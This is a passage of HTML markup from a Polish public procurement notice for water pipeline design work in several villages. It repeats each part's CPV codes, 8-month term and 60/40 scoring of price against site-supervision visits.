class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 4</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 4. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Podchyby. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 5</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 5. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Węgrzynów. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 6</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 6. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Mniów, ul. Ra-szówka. </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 7</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 7. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Cierchy </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 8</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 8. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Pępice </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 9</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 9. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Cierchy </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego Wykonawcę, którego oferta została uznana za najkorzystniejszą, ze względu na uzyskanie<br/>największej ilości punktów<br/>7. Sposób obliczenia całkowitej liczby punktów: P = C + A<br/>gdzie:<br/>P – całkowita liczba punktów dla rozpatrywanej oferty,<br/>C – liczba punktów uzyskanych w kryterium „cena”,<br/>A – liczba punktów uzyskanych w kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”.<br/>8. Ocena końcowa oferty zostanie obliczona jako suma punktów uzyskanych w poszczególnych kryteriach oceny oferty. Za<br/>najkorzystniejszą zostanie uznana oferta, która uzyska największą liczbę punktów z końcowej oceny ofert (maksymalnie: 100,00<br/>pkt).<br/>Jeżeli dwie lub więcej ofert uzyska taki sam bilans ceny i innych kryteriów oceny ofert, za-mawiający spośród tych ofert wybierze<br/>ofertę z najniższą ceną.</span></h3> <h3 class="mb-0">4.3.2.) Sposób określania wagi kryteriów oceny ofert: <span class="normal">Punktowo</span></h3> <h3 class="mb-0">4.3.3.) Stosowane kryteria oceny ofert: <span class="normal"> Kryterium ceny oraz kryteria jakościowe </span></h3> <h3 class="mb-0">Kryterium 1</h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">Cena</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">60,00</span></h3> <h3 class="mb-0">Kryterium 2</h3> <h3 class="mb-0">4.3.4.) Rodzaj kryterium: <span class="normal">inne.</span></h3> <h3 class="mb-0">4.3.5.) Nazwa kryterium: <span class="normal">„ilość wizyt na budowie w ramach nadzoru autorskiego”</span></h3> <h3 class="mb-0">4.3.6.) Waga: <span class="normal">40,00</span></h3> <h3 class="mb-0">4.3.10.) Zamawiający określa aspekty społeczne, środowiskowe lub innowacyjne, żąda etykiet lub stosuje rachunek kosztów cyklu życia w odniesieniu do kryterium oceny ofert: <span class="normal">Nie</span></h3> <h3 class="p-2 mt-4 bg-light">Część 10</h3> <h3 class="mb-0">4.2.2.) Krótki opis przedmiotu zamówienia</h3> <p class="mb-0"> Zadanie 10. Opracowanie projektów budowlano wykonawczych wodociągu w msc. Pępice 2 </p> <h3 class="mb-0">4.2.6.) Główny kod CPV: <span class="normal">71320000-7 - Usługi inżynieryjne w zakresie projektowania</span></h3> <h3 class="mb-0">4.2.7.) Dodatkowy kod CPV: </h3> <p class="mb-0">71322200-3 - Usługi projektowania rurociągów</p> <h3 class="mb-0">4.2.8.) Zamówienie obejmuje opcje: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.10.) Okres realizacji zamówienia albo umowy ramowej: <span class="normal">8 miesiące</span></h3> <h3 class="mb-0">4.2.11.) Zamawiający przewiduje wznowienia: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.2.13.) Zamawiający przewiduje udzielenie dotychczasowemu wykonawcy zamówień na podobne usługi lub roboty budowlane: <span class="normal">Nie</span></h3> <h3 class="mb-0">4.3.) Kryteria oceny ofert: </h3> <h3 class="mb-0">4.3.1.) Sposób oceny ofert: <span class="normal">Za najkorzystniejszą zostanie uznana oferta (spośród wszystkich złożonych w postępowaniu ofert<br/>niepodlegających odrzuceniu), która otrzyma największą łączną liczbę punków w poszczególnych kryteriach oceny ofert ( C+A).<br/>Przy wyborze oferty Zamawiający będzie się kierował następującymi kryteriami:<br/>a. Kryterium „CENA”<br/>Oferta proponująca najniższą cenę otrzyma 60 pkt, pozostałe oferty będą punktowane we-dług poniższego wzoru, z dokładnością do<br/>1/100 punktu:<br/>C min<br/>C = ----------------------------x 60<br/>C bad.<br/>Gdzie:<br/>C - ilość punktów oferty badanej w kryterium cena<br/>C min - najniższa cena(brutto) spośród wszystkich podlegających ocenie ofert<br/>C bad. – cena (brutto) oferty badanej.<br/>b. Kryterium „ilość wizyt na budowie w ramach nadzoru autorskiego”:<br/>Zamawiający wymaga, aby Wykonawca zagwarantował minimum 3 –wizyty na budowie bez dodatkowego kosztu.<br/>3. Za zaoferowanie 3 wizyt na budowie w ramach nadzoru autorskiego przyznaje się 10 punktów.<br/>4. Dodatkowe 4 wizyt na budowie w ramach nadzoru autorskiego – 20 punktów, 5 wizyt - 30 punktów, 6 wizyt na budowie – 40<br/>punktów.<br/>5. W tym kryterium Wykonawca może otrzymać maksymalnie 40 pkt.<br/>6. Zamawiający oceni i porówna jedynie te oferty, które zostaną określone jako zgodne z wymaganiami określonymi w niniejszej<br/>specyfikacji. Zamawiający wybierze tego 